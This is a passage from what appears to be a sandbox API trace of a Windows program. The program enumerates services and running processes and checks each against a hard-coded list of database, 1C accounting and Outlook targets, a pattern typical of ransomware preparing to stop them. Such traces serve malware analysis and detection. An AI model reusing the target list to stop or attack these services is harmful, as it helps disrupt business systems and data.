(hObject=0x1b8) returned 1 [0037.128] Sleep (dwMilliseconds=0x1f4) [0038.089] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fff00 [0038.090] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0038.090] GetLastError () returned 0xea [0038.090] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x395d750 [0038.090] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395d750, cbBufSize=0x11e4, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395d750, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0038.091] CloseServiceHandle (hSCObject=0x8fff00) returned 1 [0038.091] lstrlenW (lpString="Appinfo") returned 7 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.091] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.091] lstrlenW (lpString="AudioSrv") returned 8 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.091] lstrlenW (lpString="BFE") returned 3 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.091] lstrlenW (lpString="CryptSvc") returned 8 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.091] lstrlenW (lpString="CscService") returned 10 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.091] lstrlenW (lpString="DcomLaunch") returned 10 [0038.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.091] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.091] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.092] lstrlenW (lpString="Dhcp") returned 4 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.092] lstrlenW (lpString="Dnscache") returned 8 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.092] lstrlenW (lpString="DPS") returned 3 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.092] lstrlenW (lpString="eventlog") returned 8 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.092] lstrlenW (lpString="EventSystem") returned 11 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.092] lstrlenW (lpString="gpsvc") returned 5 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.092] lstrlenW (lpString="iphlpsvc") returned 8 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.092] lstrlenW (lpString="LanmanServer") returned 12 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.092] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.092] lstrlenW (lpString="lmhosts") returned 7 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.093] lstrlenW (lpString="MMCSS") returned 5 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.093] lstrlenW (lpString="MpsSvc") returned 6 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.093] lstrlenW (lpString="Netman") returned 6 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.093] lstrlenW (lpString="netprofm") returned 8 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.093] lstrlenW (lpString="NlaSvc") returned 6 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.093] lstrlenW (lpString="nsi") returned 3 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.093] lstrlenW (lpString="PcaSvc") returned 6 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.093] lstrlenW (lpString="PlugPlay") returned 8 [0038.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.093] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.093] lstrlenW (lpString="Power") returned 5 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.094] lstrlenW (lpString="ProfSvc") returned 7 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.094] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.094] lstrlenW (lpString="RpcSs") returned 5 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.094] lstrlenW (lpString="SamSs") returned 5 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.094] lstrlenW (lpString="Schedule") returned 8 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.094] lstrlenW (lpString="SENS") returned 4 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.094] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.094] lstrlenW (lpString="Spooler") returned 7 [0038.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.094] lstrlenW (lpString="SysMain") returned 7 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.095] lstrlenW (lpString="Themes") returned 6 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.095] lstrlenW (lpString="TrkWks") returned 6 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.095] lstrlenW (lpString="UxSms") returned 5 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.095] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.095] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.095] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.095] lstrlenW (lpString="Winmgmt") returned 7 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.095] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.095] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.095] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.095] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x395d750 | out: hHeap=0x880000) returned 1 [0038.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0038.098] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.098] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.099] lstrlenW (lpString="System") returned 6 [0038.099] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.099] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.099] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.099] lstrlenW (lpString="smss.exe") returned 8 [0038.099] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.099] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.099] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.100] lstrlenW (lpString="csrss.exe") returned 9 [0038.100] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.100] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.100] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.100] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.100] lstrlenW (lpString="wininit.exe") returned 11 [0038.100] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.100] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.101] lstrlenW (lpString="csrss.exe") returned 9 [0038.101] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.101] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.101] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.101] Process32NextW (in: hSnapshot=0x1f8, 